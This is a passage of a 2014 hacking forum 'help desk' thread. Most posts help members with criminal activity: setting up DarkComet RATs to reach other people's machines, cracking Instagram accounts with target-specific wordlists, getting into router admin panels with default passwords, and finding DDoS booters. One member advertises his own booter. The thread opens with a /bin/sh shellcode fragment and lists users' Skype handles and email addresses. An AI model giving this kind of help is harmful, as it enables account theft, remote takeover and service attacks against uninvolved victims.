FF      db 0xff
FF/*2F  jmp word far [bx]
62696E  bound bp,[bx+di+0x6e]
2F      das
7368    jnc 0x9d*/
2F 62 69 6E 2F 73 68 = "/bin/sh" ascii
```

cheddarcheese - February 22, 2014, 10:47 am

Copy and pasted your source and tried to compile using your command and got this error
gcc -m32 -o shell shell.c -z execstack
In file included from /usr/include/stdio.h:28:0,
from shell.c:1:
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directory
compilation terminated.

Goodies - February 22, 2014, 10:50 am

(Feb 22, 2014 11:47 AM)cheddarcheese Wrote: [\[CITE\]](#) Copy and pasted your source and tried to

compile using your command and got this errorCode gcc -m32 -o shell shell.c -z execstack
In file included from /usr/include/stdio.h:28:0,
from shell.c:1:
/usr/include/features.h:324:26: fatal error: bits/predefs.h: No such file or directory
compilation terminated.
First, try to compiled it without -m32. It should work.

Next, run:
PHP Code
<?php
apt-get install gcc-multilib // Debian / Ubuntu
or
yum install gcc-multilib //Whatever uses YUM
or
pacman -S gcc-multilib //Arch... you may need to -Syy and -Su before :P

cheddarcheese - February 22, 2014, 11:02 am

Ahh yes I ran Code apt-get install gcc-multilib Now even my own source code works! So what exactly was the issue then? The way I was compiling?
What is different about the way its being compiled now?

Thanks for the help!

Goodies - February 22, 2014, 11:07 am

(Feb 22, 2014 12:02 PM)cheddarcheese Wrote: [\[CITE\]](#) Ahh yes I ran Code apt-get install gcc-multilib
Now even my own source code works! So what exactly was the issue then? The way I was compiling?
What is different about the way its being compiled now?

Thanks for the help!
Absolutely! I'm surprised the original code works. I'm going to take another look at it and see WHY it works...

It required x86 libraries when you only had the default x64 :) What OS are you running?

cheddarcheese - February 22, 2014, 11:11 am

Im running a Linux 64 bit Ubuntu based distro! Is it okay to add you to my buddies list and message you abit later to go through my source code?

TheGrayAviator - February 22, 2014, 9:02 pm

Bumping this thread back up... People need to know it exists.

Crypto. - February 23, 2014, 3:20 am

Ask away, we're here to try and solve your problems ?

Komodo - February 23, 2014, 10:12 am

Ask away at some questions. We have multiple people now working at this help desk. You will get HQ help on any real question you post.

noseg99 - February 23, 2014, 10:40 am

Well I just became A HUGE fan of EMPIRE! When i needed help you guys came to my rescue. . .
When i get good. . . I want to be apart of you guys so i can lift as i climb also .

Komodo - February 23, 2014, 10:48 am

(Feb 23, 2014 11:40 AM)noseg99 Wrote: [\[CITE\]](#) Well I just became A HUGE fan of EMPIRE! When i needed help you guys came to my rescue. . . When i get good. . . I want to be apart of you guys so i can lift as i climb also .Please only post questions, this is a Hacking Help Desk.

GreenTea - February 23, 2014, 11:09 am

What is your question/problem: How to DDoS

Explain your problem the best you can:Well, I want to know if there is a way to DDoS without buying a booter and if yes then how.

Skype name:attila20092

Komodo - February 23, 2014, 11:11 am

(Feb 23, 2014 12:09 PM)GreenTea Wrote: [\[CITE\]](#) What is your question/problem: How to DDoS

Explain your problem the best you can:Well, I want to know if there is a way to DDoS without buying a booter and if yes then how.

Skype name:attila20092There is really not a way to get a HQ Booter without paying for one. I actually own a booter located [Here](#), and i have never heard of a free booter that worked with the quality of a paid one.

Rap!st - February 23, 2014, 11:39 am

(Feb 23, 2014 12:11 PM)Komodo Wrote: [\[CITE\]](#) There is really not a way to get a HQ Booter without paying for one. I actually own a booter located [Here](#), and i have never heard of a free booter that worked with the quality of a paid one.

I guess he wanted to know if you're able to execute a DDOS attack without using a booter.

Rapist?

KLyons12 - February 23, 2014, 12:13 pm

seems like I was defiantly about to get my RAT working on another machine an mine but, when I run it on another machine it dont show up in Dark Comet

xVulnerable - February 23, 2014, 12:14 pm

(Feb 23, 2014 01:13 PM)KLyons12 Wrote: [\[CITE\]](#) seems like I was defiantly about to get my RAT working on another machine an mine but, when I run it on another machine it dont show up in Dark Comet

Make sure you have all firewalls/antiviruses turned off, ports open and DUC no-ip running.

-zERaIT - February 23, 2014, 12:53 pm

(Feb 23, 2014 01:13 PM)KLyons12 Wrote: [\[CITE\]](#) seems like I was defiantly about to get my RAT working on another machine an mine but, when I run it on another machine it dont show up in Dark Comet

Make sure that you've done the following points: No-IP / Duc

Portforwarding (Firewall and AntiVirus can block this, so make sure they don't.)

If you have any further questions, reply with your Skype or PM me and I'll help you out.

Kind Regards?

KLyons12 - February 23, 2014, 1:04 pm

I dont have any protection on, no -ip is setup an ports are opened.

MercyLess - February 23, 2014, 1:34 pm

What is your question/problem: Where do i find good knowledge resources for malware removal

(books, tuts, ect.)

Explain your problem the best you can: I have been sniffing around the White Hat hackers sub-forum and, i have seen with great delight, the skills of people such as Paradoxum in malware removal. I would like to acquire skills in malware removal such as those, and not just only running Malware bytes and go "meh, its clean now". I would like to be able to read and understand the logs that are outputted and be able to react according to what the log says. So all in all, if one of you could point me in the right direction? a couple of good tuts, vids, books or other resources?

Skype name: If you deem it necessary, PM me your skype name and i will add you. (keep in mind i can't pm yet)

Thanks in advance, and thank you for a great help section? Will use this alot i think

-zERaIt - February 23, 2014, 1:41 pm

(Feb 23, 2014 02:04 PM)KLyons12 Wrote: [CITE](#) I dont have any protection on, no -ip is setup an ports are opened.

Send me a PM with your Skype.

I'll try to help you out when I'm on my pc again.

Kind Regards?

WealthyHustler - February 23, 2014, 2:08 pm

Explain your problem the best you can: I am wanting to really dig deep into penetration testing. I've been trying to learn network penetration testing via software vulnerabilities and such. I've made labs and everything but I don't know where to start :/ I've learned linux, networking (TCP/IP), and just overview of the types of exploits and I just want to find vulnerabilities and challenges to get into boxes. Do you guys know anything to help me further my knowledge with pentesting? I really want to do it in the future and I'm scared if I don't learn it now then I'll be so far behind other people and not have a chance. Also, when I try and attack a foreign machine, in the lhost I have to put my public IP and my port correct?.. It's a stupid question but I just want to make sure.

Skype name:(please pm me)

cheddarcheese - February 23, 2014, 2:33 pm

What is my problem: This code is for 32 bit intel machine's. I need help changing it to work with an amd 64 bit machine.

Code #include <stdio.h>

unsigned int get_sp(void){

 __asm__("movl %esp, %eax");

}

int main(){

 printf("Stack pointer (ESP): 0x%x\n", get_sp());

}

Explain My problem: The program prints the current value of "esp" which is the 32 bit offset register that points to the top of the stack in memory.

I understand there are 64 bit registers. On my processor they are called "rsp" & "rax". I tried to substitute these into the program but it did not work.

I try to compile using the command:

Code gcc -o getsp getsp.c

Solved-----

Code <https://hackforums.net/showthread.php?tid=4079030>

KL Lyons12 - February 23, 2014, 2:46 pm

I'm still waiting for my issue to be solved :/

Rapist - February 23, 2014, 3:44 pm

(Feb 23, 2014 02:04 PM)KL Lyons12 Wrote: [\[CITE\]](#) I dont have any protection on, no -ip is setup an ports are opened.

I guess you mean you're running it in something similar to VirtualBox?

Have you checked your internet connection?

Have you tried running it as an administrator?

Rapist?

MISCREANT - February 23, 2014, 3:59 pm

hello, i would like to know the best books for learning c++ the one i am reading now suks, "c++ for dummies" and yes i have used the search. also do you agree that i should learn c++ py and vb to have a better grasp on being able to hack? any other languages that would be a help?(if you wouldnt mind putting the books maybe lol) skype christyxloves@outlook.com (ewhore)

Komodo - February 23, 2014, 4:10 pm

(Feb 23, 2014 04:59 PM)AndrewNYC Wrote: [\[CITE\]](#) hello, i would like to know the best books for learning c++ the one i am reading now suks, "c++ for dummies" and yes i have used the search. also do you agree that i should learn c++ py and vb to have a better grasp on being able to hack? any other languages that would be a help?(if you wouldnt mind putting the books maybe lol) skype christyxloves@outlook.com (ewhore)[C/C++ Coding Page](#). Python is used in C, so C/C++ would be easier for you.

Linux Server - February 23, 2014, 4:17 pm

my ports wont open i have tried everything. can you guys please help me? i have disabled firewall, windows defender and even router firewall.

Komodo - February 23, 2014, 4:19 pm

(Feb 23, 2014 05:17 PM)Linux Server Wrote: [\[CITE\]](#) my ports wont open i have tried everything. can you guys please help me? i have disabled firewall, windows defender and even router firewall.PM me all of your issues, i will assist you.

MISCREANT - February 23, 2014, 4:20 pm

(Feb 23, 2014 05:10 PM)Komodo Wrote: [\[CITE\]](#) [C/C++ Coding Page](#). Python is used in C, so C/C++ would be easier for you.

thank you but did not exactly answer my question. What other languages should i learn other than c++ py jb to have a good amount of knowledge to do some hacking. I guess that you dont know a good book for c++ though?

Komodo - February 23, 2014, 4:26 pm

(Feb 23, 2014 05:20 PM)AndrewNYC Wrote: [\[CITE\]](#) thank you but did not exactly answer my question. What other languages should i learn other than c++ py jb to have a good amount of knowledge to do some hacking. I guess that you dont know a good book for c++ though?Never really looked for an Ebook for Coding. PM [Goodies](#), he seems to be the best at Coding here.

Congrats on everyone who is working on the Hacking Help Desk, it is now a Hot Thread.

MISCREANT - February 23, 2014, 4:36 pm

(Feb 23, 2014 05:26 PM)Komodo Wrote: [\[CITE\]](#) Never really looked for an Ebook for Coding. PM [Goodies](#), he seems to be the best at Coding here.

Congrats on everyone who is working on the Hacking Help Desk, it is now a Hot Thread.
haha i wasnt exactly talking a e-book, i meant an actual book.

KLions12 - February 23, 2014, 4:37 pm

(Feb 23, 2014 04:44 PM)Rap!st Wrote: [\[CITE\]](#) I guess you mean you're running it in something similar to VirtualBox?

Have you checked your internet connection?

Have you tried running it as an administrator?

Rapist?

I don't know what happened now its says that my port for it isn't open ><

Linux Server - February 23, 2014, 5:08 pm

thanks for the help really appreciate it

Komodo - February 23, 2014, 5:12 pm

(Feb 23, 2014 06:08 PM)Linux Server Wrote: [\[CITE\]](#) thanks for the help really appreciate itNo problem. If you have any other problems, feel free to post or PM me.

Slack™ - February 23, 2014, 5:32 pm

If anyone is good with Multicracker, I've seen a multitude of people that need help since XSploit is away (including myself) My personal problem being I'm using all the recommended setting, scraping the usernames, and making a password list, but they cracked accounts simply wont show up.

TheGrayAviator - February 23, 2014, 6:15 pm

(Feb 23, 2014 06:32 PM)Ritzyhalo Wrote: [\[CITE\]](#) If anyone is good with Multicracker, I've seen a multitude of people that need help since XSploit is away (including myself) My personal problem being I'm using all the recommended setting, scraping the usernames, and making a password list, but they cracked accounts simply wont show up.

What kind of accounts are you trying to crack?

Slack™ - February 23, 2014, 6:24 pm

(Feb 23, 2014 07:15 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) What kind of accounts are you trying to crack?

Just instagram ones, I'm using all the recommended settings, but I'm not getting any cracked accounts (tried with my own account and pass and it wouldnt crack).

KLions12 - February 23, 2014, 6:50 pm

someone help me fix my ports an get them fixed

Komodo - February 23, 2014, 6:57 pm

(Feb 23, 2014 07:50 PM)KLions12 Wrote: [\[CITE\]](#) someone help me fix my ports an get them fixed PM me all of your issues. Be very detailed, from Firewalls, to Rat.

Komodo - February 23, 2014, 7:14 pm

(Feb 23, 2014 08:07 PM)Mr. P Wrote: [\[CITE\]](#) Vouch for Komodo, saw him working as a beginner. Great help deskThanks for the Vouch, but they are not necessary. Read the Rules :).

TheGrayAviator - February 23, 2014, 7:39 pm

(Feb 23, 2014 07:24 PM)Ritzylhalo Wrote: [\[CITE\]](#) Just instagram ones, I'm using all the recommended settings, but I'm not getting any cracked accounts (tried with my own account and pass and it wouldn't crack).

You need to be aware that, if the password is not in the wordlist, it won't be cracked.

Komodo - February 23, 2014, 7:41 pm

(Feb 23, 2014 08:39 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) You need to be aware that, if the password is not in the wordlist, it won't be cracked. Agreed. Crackers that use generated passwords, have a low chance of successfully working.

TheGrayAviator - February 23, 2014, 7:44 pm

(Feb 23, 2014 08:41 PM)Komodo Wrote: [\[CITE\]](#) Agreed. Crackers that use generated passwords, have a low chance of successfully working.

The only thing I could recommend is, doing a bit of recon.

Gather as much as information from the target as possible.

Then you could create a wordlist based on that information.

That would be more effective, then trying to use hundreds of wordlists that would give you no results.

-zERAI - February 24, 2014, 2:11 am

(Feb 23, 2014 07:50 PM)KLyons12 Wrote: [\[CITE\]](#) someone help me fix my ports and get them fixed I've PM'ed you, but you didn't know your Skype username.

You could also send me your teamviewer details, so I can give you remote assistance.

Kind Regards?

Reward - February 24, 2014, 2:12 am

What is your question/problem: How would I go about saying Anonymous online?

Explain your problem the best you can: Question above ^^

Skype name: rg.freezy

-zERAI - February 24, 2014, 3:48 am

(Feb 24, 2014 03:12 AM)Reward Wrote: [\[CITE\]](#) What is your question/problem: How would I go about saying Anonymous online?

Explain your problem the best you can: Question above ^^

Skype name: rg.freezy

I've added you on Skype, I'll give you some tips & tricks to stay anonymous.

Kind Regards?

grgrsn - February 24, 2014, 3:54 am

A good and reliable VPS with

High uptime

A way of port forwarding

Fast and easy

Or just a trial?

TheGrayAviator - February 24, 2014, 5:54 am

(Feb 24, 2014 04:54 AM)grgrsn Wrote: [\[CITE\]](#) A good and reliable VPS with

High uptime
A way of port forwarding
Fast and easy

Or just a trial?
These are the top 5 VPSes that I'd recommend.

<http://thetechreviewer.com/tech-tips/guide-five-of-the-top-vps-web-hosting-providers/>

The2G - February 24, 2014, 6:00 am

What is your question/problem: I need to get access of a router

Explain your problem the best you can: I have access for connecting to the WLAN and have access to the internet, but want to crack the pass of the control panel (Gateway) of the router for self purposes ;) I think is a Cisco (don't know model) router.

Skype name: Prefer not to showing everyone :)

I hope you can help me.

grgrsn - February 24, 2014, 7:23 am

(Feb 24, 2014 06:54 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) These are the top 5 VPSes that I'd recommend.

<http://thetechreviewer.com/tech-tips/guide-five-of-the-top-vps-web-hosting-providers/>

Any free ones?

Or perhaps there is any bought one with renewable trials?

Komodo - February 24, 2014, 1:55 pm

(Feb 24, 2014 08:23 AM)grgrsn Wrote: [\[CITE\]](#) Any free ones?

Or perhaps there is any bought one with renewable trials? There are not really any good VPN's that are good. A good VPN to me, includes No Logs, and Port Forwarding. I highly recommend you give [143VPN](#) a try.

(Feb 24, 2014 07:00 AM)Rubba Wrote: [\[CITE\]](#) What is your question/problem: I need to get access of a router

Explain your problem the best you can: I have access for connecting to the WLAN and have access to the internet, but want to crack the pass of the control panel (Gateway) of the router for self purposes ;) I think is a Cisco (don't know model) router.

Skype name: Prefer not to showing everyone :)

I hope you can help me. Has someone changed your Router Settings Password, or do you just not know the default Username/Password?

Rap!st - February 24, 2014, 3:00 pm

(Feb 24, 2014 07:00 AM)Rubba Wrote: [\[CITE\]](#) What is your question/problem: I need to get access of a router

Explain your problem the best you can: I have access for connecting to the WLAN and have access to the internet, but want to crack the pass of the control panel (Gateway) of the router for self purposes ;) I think is a Cisco (don't know model) router.

Skype name: Prefer not to showing everyone :)

I hope you can help me.

Use the windows button + R, type cmd in the input field and the command prompt should start running. type "ipconfig" in it and search for the IPv4 adress which is mostly something like

'192.168.0.100'

As example when your IPv4 is "192.168.0.100" open up your browser and type: 192.168.0.1 in the adressbar.

It should ask for an username and password. The default password is mostly one of the following:

Username: user

Password: user

Username: admin

Password: admin

Hope this helped you out,

Rapist?

Komodo - February 24, 2014, 7:50 pm

Bumping this back up to the top. HQ Help is going on here, and i think all members appreciate it.

KL Lyons12 - February 25, 2014, 12:16 am

I pmed you there were some minor issues yesterday that prevented me from doing so, so sorry that I was late getting the chance too

Komodo - February 25, 2014, 4:11 am

(Feb 25, 2014 01:16 AM)KL Lyons12 Wrote: [\[CITE\]](#) I pmed you there were some minor issues yesterday that prevented me from doing so, so sorry that I was late getting the chance too am PMing your back now Sir.?

TheGrayAviator - February 25, 2014, 5:37 am

(Feb 24, 2014 04:00 PM)Rapist Wrote: [\[CITE\]](#)

Use the windows button + R, type cmd in the input field and the command prompt should start running. type "ipconfig" in it and search for the IPv4 adress which is mostly something like '192.168.0.100'

As example when your IPv4 is "192.168.0.100" open up your browser and type: 192.168.0.1 in the adressbar.

It should ask for an username and password. The default password is mostly one of the following:

Username: user

Password: user

Username: admin

Password: admin

Hope this helped you out,

Rapist?

If the above credentials don't work, I can direct you to a website that might help log in to it.

Komodo - February 25, 2014, 3:28 pm

Once again, i will have to this thread back to the top. Post some questions, and we will answer.

Creepy - February 25, 2014, 3:40 pm

I am not in need of any help.

Just want to tell you that this service is great, I reviewed a lot of great questions and answers. Very high quality.

Vouch for this free service!! ?

clark.dll - February 25, 2014, 3:43 pm

I hear a lot about how RAtIng isn't real hacking, I agree, but what is? What does a real hacker do?

Komodo - February 25, 2014, 3:48 pm

(Feb 25, 2014 04:43 PM)Clark Wrote: [\[CITE\]](#) I hear a lot about how RAtIng isn't real hacking, I agree, but what is? What does a real hacker do? Everyone says that RAtting is not hacking, but it is a start. It is easy for beginners to understand, etc. Being a real "Hacker" all depends on what the word means to you. It seems to mean something else, to everyone you ask.

Spider Venom - February 25, 2014, 4:28 pm

What is a port and what can it be used for?

What is port forwarding?

I started a thread on this the other day, but the people that explained it made it sound very/ extremely complicated. I don't believe in things being complicated, I just think that there is ALWAYS a very simple way to explain things thoroughly without a person having to scratch their head in confusion.

Komodo - February 25, 2014, 4:31 pm

(Feb 25, 2014 05:28 PM)KingBob Wrote: [\[CITE\]](#) What is a port and what can it be used for?

What is port forwarding?

I started a thread on this the other day, but the people that explained it made it sound very/ extremely complicated. I don't believe in things being complicated, I just think that there is ALWAYS a very simple way to explain things thoroughly without a person having to scratch their head in confusion. Ports can be used for multiple things. From Opening Ports, to allow Connections, to DDoSing. Port Forwarding is the opening of Packets to a different location. I did answer these, very simply to help you out. If you have other questions about this, PM me or Post about it.

Goodies - February 25, 2014, 4:50 pm

(Feb 25, 2014 05:28 PM)KingBob Wrote: [\[CITE\]](#) What is a port and what can it be used for?

What is port forwarding?

I started a thread on this the other day, but the people that explained it made it sound very/ extremely complicated. I don't believe in things being complicated, I just think that there is ALWAYS a very simple way to explain things thoroughly without a person having to scratch their head in confusion.

1) A "port" can be 2 major things.

- a. a physical port into which we plug ethernet (and many other kinds) cables.
- b. a 16 bit number (1-65535) that represents a "slot" of a system's TCP/IP stack.

Essentially, ports are used to interact with a program or service from outside the system itself.

2) Port forwarding (aka PAT - port address translation) is only needed in IPv4. Inside of a LAN, computers can easily discern which IP corresponds to which MAC address and can send data to its port. However, when we take a LAN and inspect it from the outside interface, we have no way of knowing how many PCs are on the inside, what their MAC addresses are (or local IP addresses), or any way of contacting them.

Take this example:

```
[PC - 999]
||
[Router] IDK to whom I should send this
||
||
||
[PC - 1]
||
[PC - 2]
||
[ PC - 3]
```

Now, PC 1 can easily contact PC 2 or 3 as well as the others. This is because they are all directly connected through either Ethernet, fiber, or wireless. This is known as layer 1 (physical layer). They can all communicate with one another based on MAC addresses and local IP addresses (layer 2 and 3 respectively).

However, if we were to send a packet to PC - 2 from PC - 999, we can't. First of all, we can only send it to the router as we are not inside of the LAN. Then, the router has no way of knowing which PC for which it was specifically meant.

PAT takes care of this problem. It essentially takes a port on the outside interface of the router and "translates" it to a port on a local machine and the TCP stream is created.

Using the same example, I have incorporated PAT. Let's say that you enabled port 30 to be sent to port 30 of PC - 3 (which is at IP 192.168.1.3).

```
[PC - 999]
|| - port 30 please
[Router] - port 30 leads to 192.168.1.3 which is PC 3
||
||
||
[PC - 1]
||
[PC - 2]
||
[ PC - 3]
```

Spider Venom - February 25, 2014, 5:14 pm

(Feb 25, 2014 05:31 PM)Komodo Wrote: [\[CITE\]](#) Ports can be used for multiple things. From Opening Ports, to allow Connections, to DDoSing. Port Forwarding is the opening of Packets to a different location. I did answer these, very simply to help you out. If you have other questions about this, PM me or Post about it.

(Feb 25, 2014 05:50 PM)Goodies Wrote: [\[CITE\]](#) 1) A "port" can be 2 major things.

- a. a physical port into which we plug ethernet (and many other kinds) cables.
- b. a 16 bit number (1-65535) that represents a "slot" of a system's TCP/IP stack.

Essentially, ports are used to interact with a program or service from outside the system itself.

2) Port forwarding (aka PAT - port address translation) is only needed in IPv4. Inside of a LAN, computers can easily discern which IP corresponds to which MAC address and can send data to its port. However, when we take a LAN and inspect it from the outside interface, we have no way of knowing how many PCs are on the inside, what their MAC addresses are (or local IP addresses), or any way of contacting them.

Take this example:

```
[PC - 999]
||
[Router] IDK to whom I should send this
||
||
||
[PC - 1]
||
[PC - 2]
||
[ PC - 3]
```

Now, PC 1 can easily contact PC 2 or 3 as well as the others. This is because they are all directly connected through either Ethernet, fiber, or wireless. This is known as layer 1 (physical layer). They can all communicate with one another based on MAC addresses and local IP addresses (layer 2 and 3 respectively).

However, if we were to send a packet to PC - 2 from PC - 999, we can't. First of all, we can only send it to the router as we are not inside of the LAN. Then, the router has no way of knowing which PC for which it was specifically meant.

PAT takes care of this problem. It essentially takes a port on the outside interface of the router and "translates" it to a port on a local machine and the TCP stream is created.

Using the same example, I have incorporated PAT. Let's say that you enabled port 30 to be sent to port 30 of PC - 3 (which is at IP 192.168.1.3).

```
[PC - 999]
|| - port 30 please
[Router] - port 30 leads to 192.168.1.3 which is PC 3
||
||
||
[PC - 1]
||
[PC - 2]
||
[ PC - 3]
```

First off, thank you both for taking the time to answer.

Goodies, while I do need to study up on it more, I do feel that you have made it a lot easier for me to understand.

One more thing for now. What exactly is a "packet"?

Can any of this be used to RAT people or steal wifi passwords?

I don't really see myself DDoSing anyone. It seems like a childish prank and a waste of time. If I do ever do it, then it'll be just something to study and see if I can do it. But I wouldn't really use it in the real world.

Goodies - February 25, 2014, 5:26 pm

(Feb 25, 2014 06:14 PM)KingBob Wrote: [\[CITE\]](#) First off, thank you both for taking the time to answer.

Goodies, while I do need to study up on it more, I do feel that you have made it a lot easier for me to understand.

One more thing for now. What exactly is a "packet"?

Can any of this be used to RAT people or steal wifi passwords?

I don't really see myself DDoSing anyone. It seems like a childish prank and a waste of time. If I do ever do it, then it'll be just something to study and see if I can do it. But I wouldn't really use it in the real world.

A packet is very simply a string of bits (commonly shown in hexadecimal) with a set/known structure. Different standardized protocols have different structures and/or header which is why programs like Wireshark is able to easily discern between these.

I highly recommend these informational threads by _Silky:

<https://hackforums.net/showthread.php?tid=3913505>

<https://hackforums.net/showthread.php?tid=3919977>

Can they be used to RAT people? Not really... I mean, everything is down to the packet level so since files are transferred using packets, one could make an argument that packets can be used to RAT someone, but not in the way you're thinking.

And as for capturing WiFi password, yes and no... If you're outside of a WiFi network, you won't be seeing DHCP or ARP or DNS or HTTP or any common protocols in a network. You'll be seeing encrypted radio frequency packets....

Zapu - February 25, 2014, 6:31 pm

(Feb 25, 2014 04:43 PM)Clark Wrote: [\[CITE\]](#) I hear a lot about how RAtIng isn't real hacking, I agree, but what is? What does a real hacker do?

RAtIng is "technically" hacking, but just because you hack does not mean you're a hacker. Real hackers are the ones who actually WRITE the RAT, and don't leech the code off others and stuff.

And elaborating more on "what does a real hacker do" well that entirely depends on the field they're working in as well

Seduction. - February 25, 2014, 6:43 pm

What is your question/problem: Pentesting

Explain your problem the best you can: I want to learn how to pentest, but I need a nudge in the right direction. I'm looking for some sort of black hat skill to learn. Thought maybe it would be cool to

learn this.

Skype name: executing@live.com

Zapu - February 25, 2014, 6:51 pm

(Feb 25, 2014 07:43 PM)Sirzechs Lucifer Wrote: [\[CITE\]](#) What is your question/problem: Pentesting

Explain your problem the best you can: I want to learn how to pentest, but I need a nudge in the right direction. I'm looking for some sort of black hat skill to learn. Thought maybe it would be cool to learn this.

Skype name: executing@live.com
Pentesting websites or computers?

Websites: Learn PHP, SQL, JS, and even HTML or CSS(Not necessary), learn about the different types of Databases websites use, and learn how SQL injection works, PHP injection, LFI, RFI etc. Get XAMPP or LAMPP, load vuln databases and practice or find some in the wild

Machines: A high level language like Perl or Python would come in handy, C, and any flavor of ASM(NASM, MASM, FASM, etc, except syntax differs for most, but FASM and NASM are pretty similar) learn about how the processor works and what not, then you can learn about Buffer Overflows, Stack Buffer Overflows, ASLR bruteforcing, ret2libc, ret2reg etc.(This is usually where C/ASM would come in handy)

And obviously, learn about security, learn about Firewalls and IDS/IPS implementations and evading such using various tactics(Polymorphic Shellcode for instance)

TheGrayAviator - February 25, 2014, 6:53 pm

(Feb 25, 2014 07:31 PM)Extrnl Wrote: [\[CITE\]](#) RATing is "technically" hacking, but just because you hack does not mean you're a hacker. Real hackers are the ones who actually WRITE the RAT, and don't leech the code off others and stuff.

And elaborating more on "what does a real hacker do" well that entirely depends on the field they're working in aswell

Well, to be clear a RAT also known as "Remote Administration Tool", isn't really a hacking tool.

It makes the job of an attacker easier to penetrate into the target, as it gives remote access capabilities to the attacker.

Hacking takes a lot of skills and Ratting isn't really hacking, it doesn't require any high level skills. Real hacking would involve reverse engineering an application/OS and then finding ways to compromise it via writing exploits.

Now in my eyes, that's real hacking.

The Pr0 - February 25, 2014, 8:26 pm

Wow i like it :)

thanks :)

keep it upP

Komodo - February 25, 2014, 8:31 pm

(Feb 25, 2014 09:26 PM)The Pr0 Wrote: [\[CITE\]](#) Wow i like it :)

thanks :)

keep it upPPlease do not use the space of the Hacking Help Desk, to achieve your 25 Posts.

TheGrayAviator - February 25, 2014, 11:59 pm

Bumping this thread back up to the top.

clark.dll - February 26, 2014, 12:27 am

(Feb 25, 2014 05:50 PM)Goodies Wrote: [\[CITE\]](#) 1) A "port" can be 2 major things.

- a. a physical port into which we plug ethernet (and many other kinds) cables.
- b. a 16 bit number (1-65535) that represents a "slot" of a system's TCP/IP stack.

Essentially, ports are used to interact with a program or service from outside the system itself.

2) Port forwarding (aka PAT - port address translation) is only needed in IPv4. Inside of a LAN, computers can easily discern which IP corresponds to which MAC address and can send data to its port. However, when we take a LAN and inspect it from the outside interface, we have no way of knowing how many PCs are on the inside, what their MAC addresses are (or local IP addresses), or any way of contacting them.

Take this example:

```
[PC - 999]
||
[Router] IDK to whom I should send this
||
||
||
[PC - 1]
||
[PC - 2]
||
[ PC - 3]
```

Now, PC 1 can easily contact PC 2 or 3 as well as the others. This is because they are all directly connected through either Ethernet, fiber, or wireless. This is known as layer 1 (physical layer). They can all communicate with one another based on MAC addresses and local IP addresses (layer 2 and 3 respectively).

However, if we were to send a packet to PC - 2 from PC - 999, we an't. First of all, we can only send it to the router as we are not inside of the LAN. Then, the router has no way of knowing which PC for which it was specifically meant.

PAT takes care of this problem. It essentially takes a port on the outside interface of the router and "translates" it to a port on a local machine and the TCP stream is created.

Using the same example, I have incorporated PAT. Let's say that you enabled port 30 to be sent to port 30 of PC - 3 (which is at IP 192.168.1.3).

```
[PC - 999]
|| - port 30 please
```

[Router] - port 30 leads to 192.168.1.3 which is PC 3

||

||

||

[PC - 1]

||

[PC - 2]

||

[PC - 3]

Ladies and gentlemen he's off!

<3 u Goodies

Littlerooosturr - February 26, 2014, 1:22 am

Hey guys, I have a problem or maybe a virus :)

When I click on anything a new tab opens and this website comes, it's really fucking annoying..

<http://www.redirsvc.com/sc?p=YTE5MjEyMTkzMTXOPbg0%2BauZt7YqZjkn7JotBqpELO8eIB0hOSqzKwMEvc6ar38DMuUyMZSiPLKe2ZOaRlqpG54hhnd5WXaZUnN8BcivWcTpVd6zZFRLs6gAxriL0JGGMk51OO%2FrBDYrmjyrAUIDHCxK2LNCvcfRKbVni21hg5Fs5WPjPIH9TaPmaABPINeBiy1YO%2F8R3sm%2F%2Bkoibe0IOC0AQ4ibnxDekiVsNnyyTpNz1z63zUr6xGHHlsrd0FIFtb%2F3GBAn3DWKwqGI%2BgQKD%2B8ucvfFeMo22P8R86x2N9T0ziGgwft30swNXhTjC1xMuFfQ8UNHROoTNTIFsZJ0lxVZUJuuzgUeHoSZ&t=1&ndom=2>

Don't click it because I don't know what it is sorry, can someone give me advice on what to do please lol

Goodies - February 26, 2014, 1:29 am

(Feb 26, 2014 02:22 AM)Littlerooosturr Wrote: [\[CITE\]](#) Hey guys, I have a problem or maybe a virus :)

When I click on anything a new tab opens and this website comes, it's really fucking annoying..

<http://www.redirsvc.com/sc?p=YTE5MjEyMTkzMTXOPbg0%2BauZt7YqZjkn7JotBqpELO8eIB0hOSqzKwMEvc6ar38DMuUyMZSiPLKe2ZOaRlqpG54hhnd5WXaZUnN8BcivWcTpVd6zZFRLs6gAxriL0JGGMk51OO%2FrBDYrmjyrAUIDHCxK2LNCvcfRKbVni21hg5Fs5WPjPIH9TaPmaABPINeBiy1YO%2F8R3sm%2F%2Bkoibe0IOC0AQ4ibnxDekiVsNnyyTpNz1z63zUr6xGHHlsrd0FIFtb%2F3GBAn3DWKwqGI%2BgQKD%2B8ucvfFeMo22P8R86x2N9T0ziGgwft30swNXhTjC1xMuFfQ8UNHROoTNTIFsZJ0lxVZUJuuzgUeHoSZ&t=1&ndom=2>

Don't click it because I don't know what it is sorry, can someone give me advice on what to do please lol

1) This is not a virus removal help desk. Next time, use the MRT section or the BHS.

2) It's likely some sort of adware. Try these:

Please download and/or install + run the following programs (in order):

[Rkill Download](#)

[Malware Bytes Anti Malware](#)

[Junkware Removal Tool](#)

[AdwCleaner](#)

When any scanners find a file, delete it.

MrLamp - February 26, 2014, 1:40 am

What is your question/problem:Rat setup/portforwarding

Explain your problem the best you can:when i make a stub.exe and i click it nothing will happen i seen many tutorials and followd their steps but it wont work. it says 1604 is listening but when i got to canyouseeme.org it says he cannot see me. also in my Darkcomet folder there is no celesty binder.

Skype name:hemmoboy

hope u can help i got this trouble for over 1 year no one solved it!

Littlerooostturr - February 26, 2014, 1:42 am

(Feb 26, 2014 02:29 AM)Goodies Wrote: [\[CITE\]](#) 1) This is not a virus removal help desk. Next time, use the MRT section or the BHS.

2) It's likely some sort of adware. Try these:

Please download and/or install + run the following programs (in order):

[Rkill Download](#)

[Malware Bytes Anti Malware](#)

[Junkware Removal Tool](#)

[AdwCleaner](#)

When any scanners find a file, delete it.

My apologies man, I thought this was an all-round help thread (my bad), thankyou for your time and reply though, i will do just that! :)

Goodies - February 26, 2014, 1:45 am

(Feb 26, 2014 02:42 AM)Littlerooostturr Wrote: [\[CITE\]](#) My apologies man, I thought this was an all-round help thread (my bad), thankyou for your time and reply though, i will do just that! :)

No worries and you're very welcome!

-zERaIT - February 26, 2014, 2:29 am

(Feb 26, 2014 02:40 AM)MrLamp Wrote: [\[CITE\]](#) What is your question/problem:Rat setup/portforwarding

